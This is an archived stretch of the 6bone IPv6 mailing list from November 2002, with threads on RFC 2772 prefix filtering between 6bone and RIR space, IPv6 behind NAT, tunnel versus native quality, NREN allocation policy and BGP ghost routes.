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Subject: [6bone] Re: RFC 2772 input from RIR space holder
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> > How would dual sites be handled? Would they count as "RIR" in this
> > respect, i.e. they must filter RIR space from peerings with other
> > 6bone (or dual) sites?
> 
> I think that it depends on their own internal decision - they MUST at least
> filter the prefixes properly at peerings with other RIRs, they probably SHOULD
> filter them on the peerings with 6bone sites as they'd protect themselves.

6bone prefixes has nothing to do with it. There are just sites which have
RIR space and the other sites which do not have. This model works perfectly
even if site with RIR space advertises their 6bone prefix. So dual sites
should be treated as RIR site.


Regards,

-- 
Jan Oravec                           XS26 coordinator
6COM s.r.o.                          'Access to IPv6'
http://www.6com.sk                   http://www.xs26.net

From michael.a.cardosa@accenture.com Thu Nov 21 12:57:11 2002
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Subject: [6bone] IPv6 behind NAT
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I am new to IPv6, so please bare with me.  I have a small home network that
I would like to use
to experiment with IPv6.  I have a cable modem that is connected to my
linux firewall/router.  I
would like to setup an IPv6 network within my existing network in the
following manner:

[sorry for the bad ascii art]

                                                   cable modem
                                                              |
                                                              |
                                                      linux
router--------existing internal network(IP4)
                                                        |
                                                        |
                                                IPv6 router
                                                        |
                                                        |
                                        IPv6 internal network

From the documentation that I have read, I believe that I I need to have
the IPv6 router do
6to4 translation (if that is the correct term).  I am planning on using Red
Hat for this.  The other
machines on the IPv6 will be Linux/BSD variants.  I do not know, however,
how to configure
my router since it will have an internal NAT address and not the external
one.  Can somebody
point me in the right direction?

Thanks for any help
mike

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From tlangdon@atctraining.com.au Thu Nov 21 14:25:03 2002
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From: Tony Langdon <tlangdon@atctraining.com.au>
To: "'michael.a.cardosa@accenture.com'" <michael.a.cardosa@accenture.com>,
   6bone@mailman.isi.edu
Subject: RE: [6bone] IPv6 behind NAT
Date: Fri, 22 Nov 2002 09:24:56 +1100
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> I am new to IPv6, so please bare with me.  I have a small 
> home network that
> I would like to use
> to experiment with IPv6.  I have a cable modem that is connected to my
> linux firewall/router.  I
> would like to setup an IPv6 network within my existing network in the
> following manner:

You need to make the NAT router the IPv6 router also.  In this setup, the
router will NAT for IPv4 and route (no NAT) for IPv6.  This works for me.  I
have a /48 from freenet6 which is routed via the Linux NAT router.  IPv6
hosts can see the IPv6 Internet no problems, while IPv4 is NAT'd as usual.
Freenet6 suits my needs, because I can get static IPv6 addresses, even if my
IPv4 changes, which it occasionally does.

Running IPv6 behind IPv4 Nat via a tunnel (6to4 or whatever) is generally
not supported (though I think some of the BSD variants have around this
problem).

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From gnea@garson.org Thu Nov 21 14:39:28 2002
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From: Scott Prader <gnea@garson.org>
To: michael.a.cardosa@accenture.com
Cc: 6bone@mailman.isi.edu, 6bone-admin@mailman.isi.edu
Subject: Re: [6bone] IPv6 behind NAT
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Generally, the best solution for your case is to obtain a Freenet6 IPv6
tunnel, which is available for free.  Here's a brief technical breakdown
on the setup: the linux box that's connected to the cable modem would
act as the IPv6 router (using radvd or zebra).  When you obtain the
tunnel, you are assigned a single ip address, but from there you can
easily request a /48 (that's 1208925819614629174706176 ip's with 65535
subnets.  again, monetary cost can be related to /dev/zero).  Basically
toss an ip from the /48 on your eth1 connected to your hub/switch for
your LAN and setup each Linux/BSD machine to autoconfigure, this way you
won't have to deal with NAT (since you really can't anyhow unless you
use static routes and that can get rather hairy and is generally not
worth the effort, even in your situation).  Once each of the LAN
machines is configured right, they will obtain their IPv6 ips from the
linux router, much like dhcp works with IPv4.  That's a base start,
however I highly recommend reading the documentation at www.ipv6.org,
www.freenet6.net and www.hs247.org.  Good luck.

* michael.a.cardosa@accenture.com (michael.a.cardosa@accenture.com) cobbled forth:
> 
> I am new to IPv6, so please bare with me.  I have a small home network that
> I would like to use
> to experiment with IPv6.  I have a cable modem that is connected to my
> linux firewall/router.  I
> would like to setup an IPv6 network within my existing network in the
> following manner:
> 
> [sorry for the bad ascii art]
> 
>                                                    cable modem
>                                                               |
>                                                               |
>                                                       linux
> router--------existing internal network(IP4)
>                                                         |
>                                                         |
>                                                 IPv6 router
>                                                         |
>                                                         |
>                                         IPv6 internal network
> 
> >From the documentation that I have read, I believe that I I need to have
> the IPv6 router do
> 6to4 translation (if that is the correct term).  I am planning on using Red
> Hat for this.  The other
> machines on the IPv6 will be Linux/BSD variants.  I do not know, however,
> how to configure
> my router since it will have an internal NAT address and not the external
> one.  Can somebody
> point me in the right direction?

BTW, if it's a Cisco, I believe their latest IOS's support IPv6 and
there's plenty of documentation floating around for it.  google.com
could help if that's the case.  However, your best bet is to use the
linux machine as an IPv6 router, unless you want to rewire your network.
There are possibly other ways to achieve all of this, so take this all
with a grain of salt.

> Thanks for any help
> mike
 
         .oO Gnea [gnea at garson dot org] Oo.
            .oO url [http://gnea.net] Oo.

"You can tune a filesystem, but you can't tune a fish." -Kirk McKusick

From alex@bit.nl Thu Nov 21 15:21:14 2002
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Subject: Re: [6bone] RFC 2772 input from RIR space holder
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On 21 Nov 2002, Nicolas DEFFAYET wrote:

> You will guaranty routing over tunnel ?

If the underlaying layers are under my control? Yes. I don't see why not.

> Tunnels offer bad and random performance.

Don't mix up *your* tunnels with tunnels in general.

> You can own your fiber, control your IPv4 network, but you will have
> always the tunnel encapsulation.

So your maximum packet size wil be a bit smaller. Big deal.

> For provide a real production quality, you must have a native IPv6
> network without tunnels.

That's bullshit and you know it. Tunnels in general are not bad. It's the
way people build tunnels across the globe over infrastructure that they
do not control that makes them bad.

-- 
                              __________________
Met vriendelijke groet,      /\ ___/
Alex Bik                    /- \ _/  Business Internet Trends BV
AB2298-RIPE                /--- \/           __________________


From tjc@ecs.soton.ac.uk Thu Nov 21 16:40:45 2002
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From: Tim Chown <tjc@ecs.soton.ac.uk>
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Subject: Re: [6bone] Re: RFC 2772 input from RIR space holder
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On Thu, Nov 21, 2002 at 06:14:22PM +0000, Robert Kiessling wrote:
> 
> That's an interesting proposal.

You're assuming the 2001: space is "clean", which with its recent requirement
relaxation and explosion is allocations, is less likely to be true (as 
people copy 6bone practice to the "production" space).  

Tim

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Subject: RE: [6bone] Re: RFC 2772 input from RIR space holder
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Tim Chown wrote:

> On Thu, Nov 21, 2002 at 06:14:22PM +0000, Robert Kiessling wrote:
> > 
> > That's an interesting proposal.
> 
> You're assuming the 2001: space is "clean", which with its 
> recent requirement
> relaxation and explosion is allocations, is less likely to be 
> true (as 
> people copy 6bone practice to the "production" space).  

Fortunally RIR space is company controlled, read: money.
If a certain company is not playing the game along nicely
that company will certainly get some 'nice attention' from
all the other companies, probably the easiest way out is a
depeer and/or the coming years in the hall of shame.
A company needs to earn money and they are in it for the
money not by fooling around. If their network is b0rked they
won't get any customers or those customers will go to other
networks. No cash, No company. Those problesm remedy theirselves.

Greets,
 Jeroen


From tjc@ecs.soton.ac.uk Thu Nov 21 18:54:25 2002
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From: Tim Chown <tjc@ecs.soton.ac.uk>
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Subject: Re: [6bone] Re: RFC 2772 input from RIR space holder
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On Fri, Nov 22, 2002 at 02:50:21AM +0100, Jeroen Massar wrote:
> 
> Fortunally RIR space is company controlled, read: money.
> If a certain company is not playing the game along nicely
> that company will certainly get some 'nice attention' from
> all the other companies, probably the easiest way out is a
> depeer and/or the coming years in the hall of shame.
> A company needs to earn money and they are in it for the
> money not by fooling around. If their network is b0rked they
> won't get any customers or those customers will go to other
> networks. No cash, No company. Those problesm remedy theirselves.

When they start to sell real commercial connectivity, I agree.  I don't
think we're at that point yet (catch22: because of 6bone-mess :)

Similarly, I think many people in 3ffe space are very responsible.

Tim

From jeroen@unfix.org Fri Nov 22 03:54:45 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Tim Chown'" <tjc@ecs.soton.ac.uk>, <6bone@ISI.EDU>
Subject: RE: [6bone] Re: RFC 2772 input from RIR space holder
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Tim Chown wrote:

> On Fri, Nov 22, 2002 at 02:50:21AM +0100, Jeroen Massar wrote:
> > 
> > Fortunally RIR space is company controlled, read: money.
> > If a certain company is not playing the game along nicely
> > that company will certainly get some 'nice attention' from
> > all the other companies, probably the easiest way out is a
> > depeer and/or the coming years in the hall of shame.
> > A company needs to earn money and they are in it for the
> > money not by fooling around. If their network is b0rked they
> > won't get any customers or those customers will go to other
> > networks. No cash, No company. Those problesm remedy theirselves.
> 
> When they start to sell real commercial connectivity, I 
> agree.  I don't
> think we're at that point yet (catch22: because of 6bone-mess :)
> 
> Similarly, I think many people in 3ffe space are very responsible.

Apparently you don't know that you can BUY IPv6 transit and connectivity
in many different parts of the world (Actually I think almost
everywhere).

You might contact:
 - VERIO
 - NTT / IIJ
 - GlobalCrossing

and many others, as for endpoints, in Japan you can get a native IPv6
only line if you want it. That they don't sell it to your house yet
doesn't mean it doesn't exist. In the Netherlands one can currently
get Xs4all's PowerDSL which gives you native IPv6 and IPv4 on ADSL.
Chello has native IPv6 for most parts of europe as far as I understood.

So YES there is REAL commercial activity. And these people want it
to work as they got clients paying for it. Just like IPv4.

You might also note that the 6bone should have nothing to do with RIR
space.
And currently it has due to the 6bone mess.

Greets,
 Jeroen



From rjorgensen@upctechnology.com Fri Nov 22 05:11:20 2002
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Subject: Re: [6bone] Re: RFC 2772 input from RIR space holder
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At 02:54 AM 11/22/2002 +0000, Tim Chown wrote:
>On Fri, Nov 22, 2002 at 02:50:21AM +0100, Jeroen Massar wrote:
> >
> > Fortunally RIR space is company controlled, read: money.
> > If a certain company is not playing the game along nicely
> > that company will certainly get some 'nice attention' from
> > all the other companies, probably the easiest way out is a
> > depeer and/or the coming years in the hall of shame.
> > A company needs to earn money and they are in it for the
> > money not by fooling around. If their network is b0rked they
> > won't get any customers or those customers will go to other
> > networks. No cash, No company. Those problesm remedy theirselves.
>
>When they start to sell real commercial connectivity, I agree.  I don't
>think we're at that point yet (catch22: because of 6bone-mess :)

Not sure it is a catch22 anymore. Are a group of sTLA people in
Europe that have seen the point and also found out that unless
they do something with the routing to get much closer to production
quality there are no way to make money on IPv6 (key word: money)


>Similarly, I think many people in 3ffe space are very responsible.

Not all of 6bone are bad, those few that have a network and just
let it keep running without looking much after it...not to forget some
people that many sTLA holders don't trust at all.




---
Roger Jorgensen (rjorgensen@upctechnology.com)
System Engineer @ UPC Technology / IP engineering
handles: ROJO1-6BONE ROJO9-RIPE RJC10-NORID


From rjorgensen@upctechnology.com Fri Nov 22 05:52:30 2002
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To: "Jeroen Massar" <jeroen@unfix.org>, <6bone@ISI.EDU>
From: Roger Jorgensen <rjorgensen@upctechnology.com>
Subject: RE: [6bone] Re: RFC 2772 input from RIR space holder
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At 12:55 PM 11/22/2002 +0100, Jeroen Massar wrote:
<snip>
>Chello has native IPv6 for most parts of europe as far as I understood.

We have IPv6 in most of the countries where we are yes. Only place
we are native IPv6 are Belgium. Are native from the customer to
the core router..



---
Roger Jorgensen (rjorgensen@upctechnology.com)
System Engineer @ UPC Technology / IP engineering
handles: ROJO1-6BONE ROJO9-RIPE RJC10-NORID


From pasky@machine.sinus.cz Fri Nov 22 06:17:50 2002
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Dear diary, on Thu, Nov 21, 2002 at 07:14:22PM CET, I got a letter,
where Robert Kiessling <Robert.Kiessling@de.easynet.net> told me, that...
> Petr Baudis <pasky@pasky.ji.cz> writes:
> 
> >   Basically, Jan's proposal is like: the distribution of the prefixes does not
> > need to change fundamentally, the only change required is in 6bone -> RIRs
> > connections. In such passages, 6bone sites MUST NOT announce prefix 2001::/16
> > nor any more specific prefixes matching this prefix, and RIR sites MUST filter
> > any such prefixes.
> 
> That's an interesting proposal.
> 
> However, I see one major disadvantage: The protection breaks down if
> only one of the connections between RIR and 6bone is not filtered.
> 
> The "6bone sites don't exchange 2001::/16" model looks more robust in
> this respect.

Well, the protection breaks down if the 6bone sites will break that rule (which
is *much* more likely, BTW). The protection is two-level here, 6bone site
should filter outgoing and RIR site should filter incoming. And the breakage
caused by one such a leak would be only minimal here, I believe; and as the
time will go on and the density of production v6 network will raise, the harm
will decrease exponentially. After all, Roger seemed so enthusiastic and
confident about coordinating the RIRs.. ;-)

> How would dual sites be handled? Would they count as "RIR" in this
> respect, i.e. they must filter RIR space from peerings with other
> 6bone (or dual) sites?

I think that it depends on their own internal decision - they MUST at least
filter the prefixes properly at peerings with other RIRs, they probably SHOULD
filter them on the peerings with 6bone sites as they'd protect themselves.

-- 
 
				Petr "Pasky" Baudis
.
weapon, n.:
        An index of the lack of development of a culture.
.
Public PGP key && geekcode && homepage: http://pasky.ji.cz/~pasky/

From nicolas.deffayet@ndsoftware.net Fri Nov 22 06:36:40 2002
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Subject: RE: [6bone] Re: RFC 2772 input from RIR space holder
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Roger Jorgensen <rjorgensen@upctechnology.com>
Cc: Jeroen Massar <jeroen@unfix.org>, 6bone@ISI.EDU
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On Fri, 2002-11-22 at 14:50, Roger Jorgensen wrote:
> At 12:55 PM 11/22/2002 +0100, Jeroen Massar wrote:
> <snip>
> >Chello has native IPv6 for most parts of europe as far as I understood.
> 
> We have IPv6 in most of the countries where we are yes. Only place
> we are native IPv6 are Belgium. Are native from the customer to
> the core router..

Do you plan to have IPv6 in France ?

Best Regards,

-- 
Nicolas DEFFAYET, NDSoftware
NOC Website: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/


From nicolas.deffayet@ndsoftware.net Fri Nov 22 06:55:55 2002
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Subject: RE: [6bone] Re: RFC 2772 input from RIR space holder
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Jeroen Massar <jeroen@unfix.org>
Cc: "'Tim Chown'" <tjc@ecs.soton.ac.uk>, 6bone@ISI.EDU
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On Fri, 2002-11-22 at 12:55, Jeroen Massar wrote:

> Apparently you don't know that you can BUY IPv6 transit and connectivity
> in many different parts of the world (Actually I think almost
> everywhere).
> 
> You might contact:
>  - VERIO
>  - NTT / IIJ
>  - GlobalCrossing
> 
> and many others, as for endpoints, in Japan you can get a native IPv6
> only line if you want it. That they don't sell it to your house yet
> doesn't mean it doesn't exist. In the Netherlands one can currently
> get Xs4all's PowerDSL which gives you native IPv6 and IPv4 on ADSL.

It can be a good idea to do a full list of commercial IPv6 provider in
the world like http://6bone.v6.wide.ad.jp/ipv6-service.html.

-- 
Nicolas DEFFAYET, NDSoftware
NOC Website: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/


From john@frumious.unidec.co.uk Fri Nov 22 08:23:04 2002
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From: dr john halewood <john@frumious.unidec.co.uk>
Organization: unidentified sloths
To: 6bone@ISI.EDU
Subject: Re: [6bone] Re: RFC 2772 input from RIR space holder
Date: Fri, 22 Nov 2002 16:22:55 +0000
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On Friday 22 November 2002 11:55 am, Jeroen Massar wrote:
> Apparently you don't know that you can BUY IPv6 transit and connectivity
> in many different parts of the world (Actually I think almost
> everywhere).
>
> You might contact:
>  - VERIO
>  - NTT / IIJ
>  - GlobalCrossing

 That's interesting news to me. We're a customer of GlobalCrossing and are 
trying to get back onto the 6bone (we have an allocation from a while ago 
-see http://www.cs-ipv6.lancs.ac.uk/ipv6/6Bone/Whois/USL-UK.html - but it 
appears that the 5F1A block has been discontinued and our upstream provider 
has disappeard).

  We contacted GlobalCrossing about getting an IPV6 feed and they looked 
completely blank about it. Maybe we were speaking to the wrong people there...

cheers
john

From bmanning@ISI.EDU Fri Nov 22 08:39:38 2002
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: [6bone] Re: RFC 2772 input from RIR space holder
In-Reply-To: <200211221622.gAMGMuHD029876@frumious.unidec.co.uk> from dr john halewood at "Nov 22, 2 04:22:55 pm"
To: john@frumious.unidec.co.uk (dr john halewood)
Date: Fri, 22 Nov 2002 08:39:34 -0800 (PST)
Cc: 6bone@ISI.EDU
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% On Friday 22 November 2002 11:55 am, Jeroen Massar wrote:
% > Apparently you don't know that you can BUY IPv6 transit and connectivity
% > in many different parts of the world (Actually I think almost
% > everywhere).
% >
% > You might contact:
% >  - VERIO
% >  - NTT / IIJ
% >  - GlobalCrossing
% 
%  That's interesting news to me. We're a customer of GlobalCrossing and are 
% trying to get back onto the 6bone (we have an allocation from a while ago 
% -see http://www.cs-ipv6.lancs.ac.uk/ipv6/6Bone/Whois/USL-UK.html - but it 
% appears that the 5F1A block has been discontinued and our upstream provider 
% has disappeard).
% 
%   We contacted GlobalCrossing about getting an IPV6 feed and they looked 
% completely blank about it. Maybe we were speaking to the wrong people there...
% 
% cheers
% john

	depends on where you are, apparently.
	none of the above carriers is willing/able to
	give me native IPv6 in my market.  its all
	going to be back-hauled via tunnels to places
	where they support native connections. :(

	tunnels are apparently still a useful tool. :)

--bill

From nicolas.deffayet@ndsoftware.net Fri Nov 22 09:08:30 2002
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Subject: Re: [6bone] Re: RFC 2772 input from RIR space holder
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: dr john halewood <john@frumious.unidec.co.uk>
Cc: 6bone@ISI.EDU
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	 <200211221622.gAMGMuHD029876@frumious.unidec.co.uk>
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On Fri, 2002-11-22 at 17:22, dr john halewood wrote:
> >  - GlobalCrossing
> 
>  That's interesting news to me. We're a customer of GlobalCrossing and are 
> trying to get back onto the 6bone (we have an allocation from a while ago 
> -see http://www.cs-ipv6.lancs.ac.uk/ipv6/6Bone/Whois/USL-UK.html - but it 
> appears that the 5F1A block has been discontinued and our upstream provider 
> has disappeard).
> 
>   We contacted GlobalCrossing about getting an IPV6 feed and they looked 
> completely blank about it. Maybe we were speaking to the wrong people there...

Try to contact TT5-6BONE:
http://whois.6bone.net/cgi-bin/whois?GLOBALCROSSING

Best Regards,

-- 
Nicolas DEFFAYET, NDSoftware
NOC Website: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/


From jordi.palet@consulintel.es Fri Nov 22 10:32:00 2002
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From: "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>
To: <6bone@ISI.EDU>
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Subject: Re: [6bone] Re: RFC 2772 input from RIR space holder
Date: Wed, 13 Nov 2002 19:31:52 +0100
Organization: Consulintel
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I've copied to the right people ;-) in Global Crossing, and I hope they will be able to reply you directly.

Regards,
Jordi

----- Original Message ----- 
From: "dr john halewood" <john@frumious.unidec.co.uk>
To: <6bone@ISI.EDU>
Sent: Friday, November 22, 2002 5:22 PM
Subject: Re: [6bone] Re: RFC 2772 input from RIR space holder


> On Friday 22 November 2002 11:55 am, Jeroen Massar wrote:
> > Apparently you don't know that you can BUY IPv6 transit and connectivity
> > in many different parts of the world (Actually I think almost
> > everywhere).
> >
> > You might contact:
> >  - VERIO
> >  - NTT / IIJ
> >  - GlobalCrossing
> 
>  That's interesting news to me. We're a customer of GlobalCrossing and are 
> trying to get back onto the 6bone (we have an allocation from a while ago 
> -see http://www.cs-ipv6.lancs.ac.uk/ipv6/6Bone/Whois/USL-UK.html - but it 
> appears that the 5F1A block has been discontinued and our upstream provider 
> has disappeard).
> 
>   We contacted GlobalCrossing about getting an IPV6 feed and they looked 
> completely blank about it. Maybe we were speaking to the wrong people there...
> 
> cheers
> john
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 

From gert@Space.Net Fri Nov 22 13:03:26 2002
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From: Gert Doering <gert@space.net>
To: 6bone@ISI.EDU
Subject: Re: [6bone] Re: RFC 2772 input from RIR space holder
Message-ID: <20021122220322.W15927@Space.Net>
References: <7CEA40C0E10C7D4FBE076AE7C3EFB78D0114C53E@nlcbbms03> <20021121164715.GJ25628@pasky.ji.cz> <m33cpulri9.fsf@joseba.easynet.de> <20021122004032.GA8564@login.ecs.soton.ac.uk>
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Hi,

On Fri, Nov 22, 2002 at 12:40:33AM +0000, Tim Chown wrote:
> On Thu, Nov 21, 2002 at 06:14:22PM +0000, Robert Kiessling wrote:
> > That's an interesting proposal.
> 
> You're assuming the 2001: space is "clean", which with its recent requirement
> relaxation and explosion is allocations, is less likely to be true (as 
> people copy 6bone practice to the "production" space).  

While Robert is assuming this, it does not really matter.

If the 2001:: people mess up their stuff, peer pressure among ISPs
has a good chance of cleaning that up (by dropping peerings and so on),
but it's an "internal" thing - if 6bone messes up 2001:: routing, 
the established mechanisms for communication among ISPs just doesn't
work anymore.

So what Robert's proposal actually does is "encapsulate routing
instabilities inside RIR space / inside 6bone space (wherever it 
originates)".  

If 6bone is unstable, RIR space can still be "productive", and are not
directly affected.

If RIR space is unstable, the RIR space holders have to fix it (and
depending on the way filters will be set up, this might not necesarily
affect 6bone space).

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  50279 (49875)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From basit@basit.cc Sat Nov 23 01:42:10 2002
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Subject: [6bone] LIN6/network based mobility
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Hello,

 does lin6 (LINA architecture) supports mobile routers (network
based mobility instead of host-based mobility) ? If it does,
where i can find some text on it ? i was unable to find some text
on it at www.lin6.net, everything LIN6 considers is as node ,
and the node is host.

  Also, is there any discussion available on network-based mobility
for Mobile IPv4 or Mobile IPv6?

  by network-based mobility means if your AR(access router) changes it
point of attachment and moves into different network ? (MOnets for e.g
deployed in space ships, airplanes, trains) etc?

Waiting for any help in this regard.

- basit
Graduate Student
Dept. of Computer Science
Wichita state university


From nicolas.deffayet@ndsoftware.net Sat Nov 23 05:02:16 2002
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From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
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Subject: [6bone] BGP Ghost Routes (problem can be probably solved)
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Hello,

I have study the ghost routes of 4 pTLA (3ffe:200::/24, 3ffe:1400::/24,
3ffe:1e00::/24 and 3ffe:2400::/24) on 21 november.

I have do:

show ipv6 bgp 3ffe:200::/24
show ipv6 bgp 3ffe:1400::/24
show ipv6 bgp 3ffe:1e00::/24
show ipv6 bgp 3ffe:2400::/24

on the lookink-glass of this AS:

AS680 (6WIN)
AS1200 (AMS-IX)
AS1853 (VIX)
AS2513 (IMnet)
AS3243 (Telepac)
AS3246 (Song Networks)
AS5609 (CSELT/TILAB)
AS7521 (Internet Multifeed)
AS12533 (RMnet)
AS13193 (Nerim)
AS13944 (EnterZone)
AS15589 (Edisontel)
AS24895 (Fubar)
AS25356 (XS26)
AS25358 (NDSoftware)

Go to http://noc.ndsoftwarenet.com/bgp-ghost.html for have the result.

Now, you can see that all ghost routes have a common ASN: AS10318 (in
red bold).

AS10318 is FIBERTEL (http://whois.6bone.net/cgi-bin/whois?FIBERTEL)

If you have a peering with FIBERTEL, please send me a show ipv6 bgp.

Any comments about this are welcome.

Best Regards,

-- 
Nicolas DEFFAYET, NDSoftware
NOC Website: http://noc.ndsoftwarenet.com/
FNIX6: http://www.fnix6.net/


From pekkas@netcore.fi Sat Nov 23 07:25:28 2002
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Date: Sat, 23 Nov 2002 17:25:15 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: Abdul Basit <basit@basit.cc>
cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] LIN6/network based mobility
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On Sat, 23 Nov 2002, Abdul Basit wrote:
>  does lin6 (LINA architecture) supports mobile routers (network
> based mobility instead of host-based mobility) ? 

No.

>   Also, is there any discussion available on network-based mobility
> for Mobile IPv4 or Mobile IPv6?

Check 'nemo' working group under www.ietf.org.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From tjc@ecs.soton.ac.uk Mon Nov 25 08:52:59 2002
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From: Tim Chown <tjc@ecs.soton.ac.uk>
To: 6bone@ISI.EDU
Subject: Re: [6bone] Re: RFC 2772 input from RIR space holder
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On Fri, Nov 22, 2002 at 12:55:12PM +0100, Jeroen Massar wrote:
> 
> Apparently you don't know that you can BUY IPv6 transit and connectivity
> in many different parts of the world (Actually I think almost
> everywhere).
> 
> You might contact:
>  - VERIO
>  - NTT / IIJ
>  - GlobalCrossing
> 
> and many others, as for endpoints, in Japan you can get a native IPv6
> only line if you want it. That they don't sell it to your house yet
> doesn't mean it doesn't exist. In the Netherlands one can currently
> get Xs4all's PowerDSL which gives you native IPv6 and IPv4 on ADSL.
> Chello has native IPv6 for most parts of europe as far as I understood.

All this is very nice, but it doesn't mean stable, production quality IPv6
networking on an international basis.  Buying it is one thing, being able
to use it is another.   Finding paths that perform as well for IPv6 as for
IPv4 is very rare.  I suggest you try some globetrotting to find the
reality :(
 
> So YES there is REAL commercial activity. And these people want it
> to work as they got clients paying for it. Just like IPv4.

But are those clients paying to trial IPv6, or paying to make money with
IPv6 now?  I severely doubt it's the latter (but would be very happy to
be proved wrong :)
 
> You might also note that the 6bone should have nothing to do with RIR
> space.
> And currently it has due to the 6bone mess.

My suggestion is that while 3ffe: prefix sites are perhaps the greatest
culprits, the 2001: space has its share too.  Thus the way to get some
kind of structure and predictability (and thus reliability) is for 
mutually interested networks to get together to talk policy - this is
happening now for the major academic/research networks, some of whom are
still in 6bone space (note that technically under the RIR rules, an NREN
cannot get 2001: allocations as most do not serve 200 universities).

Tim

From Robert.Kiessling@de.easynet.net Mon Nov 25 10:04:44 2002
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To: Tim Chown <tjc@ecs.soton.ac.uk>
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Subject: Re: [6bone] Re: RFC 2772 input from RIR space holder
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Tim Chown <tjc@ecs.soton.ac.uk> writes:

> My suggestion is that while 3ffe: prefix sites are perhaps the greatest
> culprits, the 2001: space has its share too.

That's certainly true. however there is a clear tendency: the most
experimental and old stuff can be found in 6bone, and the most mature
and native networks have 2001 space.

> Thus the way to get some
> kind of structure and predictability (and thus reliability) is for 
> mutually interested networks to get together to talk policy

Well, you know that this is happening between LIRs. It's outside the
scope of 6bone, though. Independant of other problems, 6bone should
see to minimise its share of negative impact.

> (note that technically under the RIR rules, an NREN
> cannot get 2001: allocations as most do not serve 200 universities).

This is just not true. "University" is not the only possibly entity to
which you may assign addresses.

Robert


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Date: Mon, 25 Nov 2002 19:04:39 +0000
From: Tim Chown <tjc@ecs.soton.ac.uk>
To: 6bone@ISI.EDU
Subject: Re: [6bone] Re: RFC 2772 input from RIR space holder
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On Mon, Nov 25, 2002 at 06:04:40PM +0000, Robert Kiessling wrote:
> 
> > (note that technically under the RIR rules, an NREN
> > cannot get 2001: allocations as most do not serve 200 universities).
> 
> This is just not true. "University" is not the only possibly entity to
> which you may assign addresses.

Again I'm just reporting experience.  I know of NRENs who have not applied
for 2001: allocations because they do not have 200 customers (universities).
They should not have to be "creative" to apply; there is no reason why 
an NREN with 60 univesities should not receive a SubTLA.

Tim

From gert@Space.Net Mon Nov 25 13:27:04 2002
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Date: Mon, 25 Nov 2002 22:26:57 +0100
From: Gert Doering <gert@space.net>
To: 6bone@ISI.EDU
Subject: Re: [6bone] Re: RFC 2772 input from RIR space holder
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Hi,

On Mon, Nov 25, 2002 at 07:04:39PM +0000, Tim Chown wrote:
> Again I'm just reporting experience.  I know of NRENs who have not applied
> for 2001: allocations because they do not have 200 customers (universities).
> They should not have to be "creative" to apply; there is no reason why 
> an NREN with 60 univesities should not receive a SubTLA.

Seconded, and the discussion on the ipv6-wg/lir-wg mailing lists about
this topic *is* open again.

I'm mainly waiting for some decent proposal that includes NRENs and 
major transit-only networks (like NORDunet) but is on the other hand
precise enough to not permit "any single enterprise that claims to 
be 'very important'" to get an sTLA.

I wouldn't really mind if every LIR gets one (1) sTLA, but the last
round of discussion has shown that neither the ARIN nor the APNIC
people are willing to accept this very relaxed policy.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  50279 (49875)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From mrp@mrp.net Mon Nov 25 18:25:06 2002
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Date: Tue, 26 Nov 2002 12:54:01 +1030
To: Tim Chown <tjc@ecs.soton.ac.uk>, 6bone@ISI.EDU
From: Mark Prior <mrp@mrp.net>
Subject: Re: [6bone] Re: RFC 2772 input from RIR space holder
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At 7:04 PM +0000 25/11/02, Tim Chown wrote:
>Again I'm just reporting experience.  I know of NRENs who have not applied
>for 2001: allocations because they do not have 200 customers (universities).
>They should not have to be "creative" to apply; there is no reason why
>an NREN with 60 univesities should not receive a SubTLA.
>
I think that if the NRENs  actually asked their local RIR then they 
would discover that the RIR's are flexible in their determination.

Mark.

From pim@ipng.nl Tue Nov 26 00:18:45 2002
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From: Pim van Pelt <pim@ipng.nl>
To: Gert Doering <gert@space.net>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] Re: RFC 2772 input from RIR space holder
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On Mon, Nov 25, 2002 at 10:26:57PM +0100, Gert Doering wrote:
| Hi,
| 
| On Mon, Nov 25, 2002 at 07:04:39PM +0000, Tim Chown wrote:
| > Again I'm just reporting experience.  I know of NRENs who have not applied
| > for 2001: allocations because they do not have 200 customers (universities).
| > They should not have to be "creative" to apply; there is no reason why 
| > an NREN with 60 univesities should not receive a SubTLA.
Tim,

There has to be some demonstrated need for an allocation that is large enough
to sustain several assignments to downstreams. If entities that are too small
(which is extremely hard to define) were to be able to request subTLAs, we
might start over-allocating, eg one /32 per 100 end-sites will get us in
trouble in 10 years. We should think this through very well. At least it's
become somewhat easier since 01/07/2002 and I'm very happy to see that the
policies have been adopted worldwide regardless of service region.

Gert said:
| I'm mainly waiting for some decent proposal that includes NRENs and 
| major transit-only networks (like NORDunet) but is on the other hand
| precise enough to not permit "any single enterprise that claims to 
| be 'very important'" to get an sTLA.
| 
| I wouldn't really mind if every LIR gets one (1) sTLA, but the last
| round of discussion has shown that neither the ARIN nor the APNIC
| people are willing to accept this very relaxed policy.
This opens the way for enterprises to gain their solution to the multihoming
problems easily in the RIPE region and for a small fee (membership of a
'small' type LIR at RIPE is not that expensive). I am still scared that
enterprises are gathering pTLAs to solve their problem of having to have
an upstream provider.

There's (at least) two groups here: 
(1) the companies that do not find decent connectivity in their direct area 
and therefor wish to have their own pTLA.
